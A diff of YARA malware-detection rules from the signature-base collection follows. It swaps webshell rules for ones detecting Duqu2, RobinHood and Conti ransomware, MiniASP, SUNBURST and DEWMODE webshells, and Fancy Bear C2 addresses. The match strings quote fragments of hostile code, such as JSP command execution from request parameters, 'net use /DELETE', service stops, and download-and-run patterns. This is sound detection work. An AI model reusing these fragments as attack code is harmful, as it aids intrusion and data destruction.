+		date = "2015-06-10"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L10-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
-		logic_hash = "fe1a157d53bd9a48848f2711844c5e12356652ca01c84c19429c55bbb12ea488"
+		reference = "https://goo.gl/7yKyOj"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L116-L134"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
+		logic_hash = "9b2d80cfe3c47ac315b76c773acc3290668e06e4bbd99402e203b72af593fab8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
-		$s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
-		$s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
-		$s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
-		$s4 = "while((a=in.read(b))!=-1){" fullword ascii
-		$s5 = "out.println(new String(b));" fullword ascii
-		$s6 = "out.print(\"</pre>\");" fullword ascii
-		$s7 = "out.print(\"<pre>\");" fullword ascii
-		$s8 = "int a = -1;" fullword ascii
-		$s9 = "byte[] b = new byte[2048];" fullword ascii
+		$s0 = "Installer for printer drivers and applications" fullword wide
+		$s1 = "msi4_32.dll" fullword wide
+		$s2 = "HASHVAL" fullword wide
+		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+		$s4 = "ca.dll" fullword ascii
+		$s5 = "Samsung Electronics Co., Ltd." fullword wide
 
 	condition:
-		filesize <3KB and 7 of them
+		uint16(0)==0x5a4d and filesize <82KB and all of them
 }
-rule SIGNATURE_BASE_Trigger_Drop : FILE
+rule SIGNATURE_BASE_APT_Kaspersky_Duqu2_Msi3_32 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file trigger_drop.php"
+		description = "Kaspersky APT Report - Duqu2 Sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3b4f32ff-2de2-5689-869a-8a8f55e7fa0c"
-		date = "2015-06-13"
+		id = "6cbea2e7-f406-57cf-b9c8-9d84b1480035"
+		date = "2015-06-10"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L35-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
-		logic_hash = "fc998ea5c2a446278823e4336ddc6a22741f82c43fbdcd95b3d12ee6a27b1dd7"
+		reference = "https://goo.gl/7yKyOj"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_kaspersky_duqu2.yar#L136-L157"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
+		logic_hash = "718223d1ff82ffa0f3204e0cdaf0d441ed133f1f069d9ba2eb818bd3445f63ca"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
-		$s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
-		$s2 = "@mssql_query('DROP TRIGGER" ascii
-		$s3 = "if(empty($_GET['returnto']))" fullword ascii
+		$s0 = "ProcessUserAccounts" fullword ascii
+		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
+		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
+		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s4 = "msi3_32.dll" fullword wide
+		$s5 = "RunDLL" fullword ascii
+		$s6 = "MSI Custom Action v3" fullword wide
+		$s7 = "msi3_32" fullword wide
+		$s8 = "Operating System" fullword wide
 
 	condition:
-		filesize <5KB and all of them
+		uint16(0)==0x5a4d and filesize <72KB and all of them
 }
-rule SIGNATURE_BASE_Injectionparameters : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Robinhood_May19_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file InjectionParameters.vb"
+		description = "Detects RobinHood Ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a77bd0c6-8857-577f-831a-0fcf2537667e"
-		date = "2015-06-13"
+		id = "7199c0de-c925-5399-8fa6-852604190a21"
+		date = "2019-05-15"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L53-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
-		logic_hash = "6bb786256f7154013408323eeb597f91c609a2a26f5ae9e6d61e16bd9c16a577"
+		reference = "https://twitter.com/BThurstonCPTECH/status/1128489465327030277"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_robinhood.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5eef71b94f2488dceff80ec2daba689c12d13b2742ba9ae5ead58711339d6026"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "21cb84fc7b33e8e31364ff0e58b078db8f47494a239dc3ccbea8017ff60807e3"
 
 	strings:
-		$s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
-		$s1 = "Public Class InjectionParameters" fullword ascii
+		$s1 = ".enc_robbinhood" ascii
+		$s2 = "c:\\windows\\temp\\pub.key" ascii fullword
+		$s3 = "cmd.exe /c net use * /DELETE /Y" ascii
+		$s4 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
+		$s5 = "main.EnableShadowFucks" nocase
+		$s6 = "main.EnableRecoveryFCK" nocase
+		$s7 = "main.EnableLogLaunders" nocase
+		$s8 = "main.EnableServiceFuck" nocase
 
 	condition:
-		filesize <13KB and all of them
+		uint16(0)==0x5a4d and filesize <8000KB and 1 of them
 }
-rule SIGNATURE_BASE_Users_List : FILE
+rule SIGNATURE_BASE_MAL_RANSOM_Conticrypter
 {
 	meta:
-		description = "Chinese Hacktool Set - file users_list.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2d90b593-6b65-502c-aeb0-8f2a3d65afd3"
-		date = "2015-06-13"
+		description = "Signature for a crypter associated with Conti"
+		author = "James Quinn, Binary Defense"
+		id = "f2a00655-41a2-5614-9c29-3629c93c0e95"
+		date = "2021-03-17"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L69-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
-		logic_hash = "debd8e1d882cbbe6e720b86bec3ff3c78393cb225b3f0f9c7725cfced6582e71"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_conti.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "256fbd028a91da45049e2e861e16e97201f09cb92ab049eda373c80e6a796726"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		tlp = "White"
 
 	strings:
-		$s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
-		$s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
-		$s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii
+		$handoff1 = {4C 8D 05 ?? ?? ?? ?? 48 C7 44 24 28 00 00 00 00 C7 44 24 20 00 00 00 00 e8}
+		$handoff2 = {C7 ?? 24 ?? 00 00 00 00 89 44 24 ?? C7 ?? 24 ?? ?? ?? ?? ?? C7 ?? 24 ?? 00 00 00 00 }
+		$garbageLoad1 = {53 48 83 EC 20 89 CB 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 D8 48 83 C4 20 5B C3}
+		$garbageLoad2 = {55 89 E5 83 EC 18 C7 ?? 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 45 08 52 C9 C3}
 
 	condition:
-		filesize <12KB and all of them
+		1 of ($handoff*) and 1 of ($garbageLoad*)
 }
-rule SIGNATURE_BASE_Trigger_Modify : FILE
+rule SIGNATURE_BASE_PLEAD_Downloader_Jun18_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file trigger_modify.php"
+		description = "Detects PLEAD Downloader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a7d65a9f-82de-554c-8f20-7560d2160041"
-		date = "2015-06-13"
+		id = "19d588d8-1f03-5f34-b82e-b645c28a19a4"
+		date = "2018-06-16"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L86-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
-		logic_hash = "6ea0221af9e9a29d3280a01eec69e31e79c358e664d286f8c80259f5e826876c"
+		reference = "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_plead_downloader.yar#L1-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "82fa4629aeb67a657af8b40527414e59d1c45a7c4e3c68398d3472c080c9487b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940"
 
 	strings:
-		$s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
-		$s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
-		$s3 = "if($_POST['query'] != '')" fullword ascii
-		$s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
-		$s5 = "<b>Modify Trigger</b>" fullword ascii
+		$s1 = "%02d:%02d:%02d" ascii fullword
+		$s2 = "%02d-%02d-%02d" ascii fullword
+		$s3 = "1111%02d%02d%02d_%02d%02d2222" ascii fullword
+		$a1 = "Scanning..." wide fullword
+		$a2 = "Checking..." wide fullword
 
 	condition:
-		filesize <15KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and ( all of ($s*) or (2 of ($s*) and 1 of ($a*)))
 }
-rule SIGNATURE_BASE_Customize : FILE
+rule SIGNATURE_BASE_SUSP_PS1_JAB_Pattern_Jun22_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Customize.aspx"
+		description = "Detects suspicious UTF16 and Base64 encoded PowerShell code that starts with a $ sign and a single char variable"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a69e1234-cc85-5295-a45c-693afdfc368e"
-		date = "2015-06-13"
+		id = "9ecca7d9-3b63-5615-a223-5efa1c53510e"
+		date = "2022-06-10"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L105-L121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
-		logic_hash = "f4e0a7342a01411ae060c9d995072518f2e3299af1b0d396bb319eeec42c1519"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_ps_jab.yar#L2-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ad61dca5c945ed87642668e3b834b12c813af244437903a5abb5c69459b9456"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
-		$s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
-		$s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
-		$s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii
+		$xc1 = { 4a 41 42 ?? 41 43 41 41 50 51 41 67 41 }
+		$xc2 = { 4a 00 41 00 42 00 ?? 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 }
+		$xc3 = { 4a 41 42 ?? 41 44 30 41 }
+		$xc4 = { 4a 00 41 00 42 00 ?? 00 41 00 44 00 30 00 41 }
 
 	condition:
-		filesize <24KB and all of them
+		filesize <30MB and 1 of them
 }
-rule SIGNATURE_BASE_Oracle_Data
+rule SIGNATURE_BASE_PUP_Computraceagent : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file oracle_data.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "faa62dcc-0f59-573c-8722-d07216de151f"
-		date = "2015-06-13"
+		description = "Absolute Computrace Agent Executable"
+		author = "ASERT - Arbor Networks (slightly modified by Florian Roth)"
+		id = "676f8f1e-a3b4-5d05-b13b-bd6cb0aabbbd"
+		date = "2018-05-01"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L123-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6cf070017be117eace4752650ba6cf96d67d2106"
-		logic_hash = "1ab9b6c4349dd891103a24a77c93c2abb784d3ed616523f3aaec68b05082983e"
+		reference = "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fancybear_computrace_agent.yar#L1-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "65e964e68be1e286ab3aa39677e250cf5994a7a08d0f6db286c0260cf77d6c48"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
-		$s1 = "if(isset($_REQUEST['id']))" fullword ascii
-		$s2 = "$id=$_REQUEST['id'];" fullword ascii
+		$a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
+		$b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
+		$b2 = { 54 61 67 49 64 00 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <40KB and ($a or ($b1 and $b2))
 }
-rule SIGNATURE_BASE_Reduhservers_Reduh : FILE
+rule SIGNATURE_BASE_APT_Malware_Commentcrew_Miniasp : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file reDuh.jsp"
+		description = "CommentCrew Malware MiniASP APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c87d971a-a16f-5593-88fb-6bcd207e0841"
-		date = "2015-06-13"
+		id = "a434012d-d13a-5061-a1d8-180d2c5828e8"
+		date = "2015-06-03"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L140-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "377886490a86290de53d696864e41d6a547223b0"
-		logic_hash = "dcb1515da696566d01ec64029a34438a56d2df480b9cd2ea586f71ffe3324c1a"
+		reference = "VT Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_miniasp.yar#L2-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f382dd802f0332c99b1d33cf1dcd99ba7fad344a381152ebadfb69bc74c4e58f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
+		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
+		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
 
 	strings:
-		$s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
-		$s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii
-		$s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
-		$s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii
+		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii
+		$x2 = "run http://%s/logo.png setup.exe" fullword ascii
+		$x3 = "d:\\command.txt" fullword ascii
+		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii
+		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii
+		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii
+		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii
+		$s2 = "kill process error!" fullword ascii
+		$s3 = "kill process success!" fullword ascii
+		$s4 = "pickup command error!" fullword ascii
+		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii
+		$s6 = "no command" fullword ascii
+		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
+		$s8 = "command is null!" fullword ascii
+		$s9 = "pickup command Ok!" fullword ascii
+		$s10 = "http://%s/result_%s.htm" fullword ascii
 
 	condition:
-		filesize <116KB and all of them
+		uint16(0)==0x5a4d and (1 of ($x*)) or ( all of ($z*)) or (8 of ($s*))
 }
-rule SIGNATURE_BASE_Item_Old : FILE
+rule SIGNATURE_BASE_LOG_APT_WEBSHELL_Solarwinds_SUNBURST_Report_Webshell_Dec20_2
 {
 	meta:
-		description = "Chinese Hacktool Set - file item-old.php"
+		description = "Detects webshell access mentioned in FireEye's SUNBURST report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c32bbd48-a363-53c7-84c6-c47581e2f9da"
-		date = "2015-06-13"
+		id = "fb86164d-13de-5357-8f52-c597b51127ff"
+		date = "2020-12-21"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L157-L172"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
-		logic_hash = "181e46408050490dccc4f321bd1072da0436d920e16cc4711b16425eb5bd73ed"
+		reference = "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_susp_sunburst.yar#L21-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec52e244a483ace0f6932b553b159b23b767c00d1f64a4711e5f359832e846f5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
-		$s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
-		$s3 = "$sHash = md5($sURL);" fullword ascii
+		$xr1 = /logoimagehandler.ashx[^\n\s]{1,400}clazz=/ ascii wide
 
 	condition:
-		filesize <7KB and 2 of them
+		$xr1
 }
-rule SIGNATURE_BASE_Tools_2014 : FILE
+rule SIGNATURE_BASE_COZY_FANCY_BEAR_Hunt : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file 2014.jsp"
+		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bb76321b-003d-5f6b-a84b-425477abe91c"
-		date = "2015-06-13"
+		id = "e81b4368-7383-5a48-a89a-f91b9306326e"
+		date = "2016-06-14"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L174-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "74518faf08637c53095697071db09d34dbe8d676"
-		logic_hash = "caa365cc1a641b7dcd5d2082240d981e66caf6da1379ee109a0bb1f651d1f00f"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fancybear_dnc.yar#L10-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9009f181eeecce0ae322ba24335426399cf4484dfc9b7ea6905fb163b4bf0a25"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
-		$s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
-		$s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii
+		$s1 = "185.100.84.134" ascii wide fullword
+		$s2 = "58.49.58.58" ascii wide fullword
+		$s3 = "218.1.98.203" ascii wide fullword
+		$s4 = "187.33.33.8" ascii wide fullword
+		$s5 = "185.86.148.227" ascii wide fullword
+		$s6 = "45.32.129.185" ascii wide fullword
+		$s7 = "23.227.196.217" ascii wide fullword
 
 	condition:
-		filesize <715KB and all of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_Reduhservers_Reduh_2 : FILE
+rule SIGNATURE_BASE_COZY_FANCY_BEAR_Pagemgr_Hunt : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file reDuh.php"
+		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6050dfde-6c79-5dd8-a772-508668177aa5"
-		date = "2015-06-13"
+		id = "3c5c8843-81ba-510c-82ed-4b6e2286bdb2"
+		date = "2016-06-14"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L191-L206"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
-		logic_hash = "954115da374b6d72c35244673799be6e8bae5288f53509dea04e3ae3c489af12"
+		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_fancybear_dnc.yar#L30-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c6055b7cd04b994c80395276e83bec664b7dd32f8093411bfde0850cca39e9f7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
-		$s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
-		$s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii
+		$s1 = "pagemgr.exe" wide fullword
 
 	condition:
-		filesize <57KB and all of them
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SIGNATURE_BASE_Customize_2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_APT_PHP_DEWMODE_UNC2546_Feb21_1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Customize.jsp"
+		description = "Detects DEWMODE webshells"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1f7e9063-33d8-5df4-89d5-7d8fc1be61f0"
-		date = "2015-06-13"
+		id = "ea883f25-0e9b-5617-b05e-191a4a5c5a52"
+		date = "2021-02-22"
 		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_webshells.yar#L208-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "37cd17543e14109d3785093e150652032a85d734"
-		logic_hash = "aa0940a21eea6ba50a93dd36a8f914f636fdba0685048fc67e16dd68c1c2794e"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2546_dewmode.yar#L2-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "86ce185f6350eb7485bce5bd31d91085fed25aa8ce78813e1c3c3dffbaae58ff"
 		score = 75
-		quality = 85
+		quality = 60
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7"
+		hash2 = "5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b"
 
 	strings:
-		$s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
-		$s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
+		$x1 = "<font size=4>Cleanup Shell</font></a>';" ascii fullword
+		$x2 = "$(sh /tmp/.scr)"
+		$x3 = "@system('sudo /usr/local/bin/admin.pl --mount_cifs=" ascii
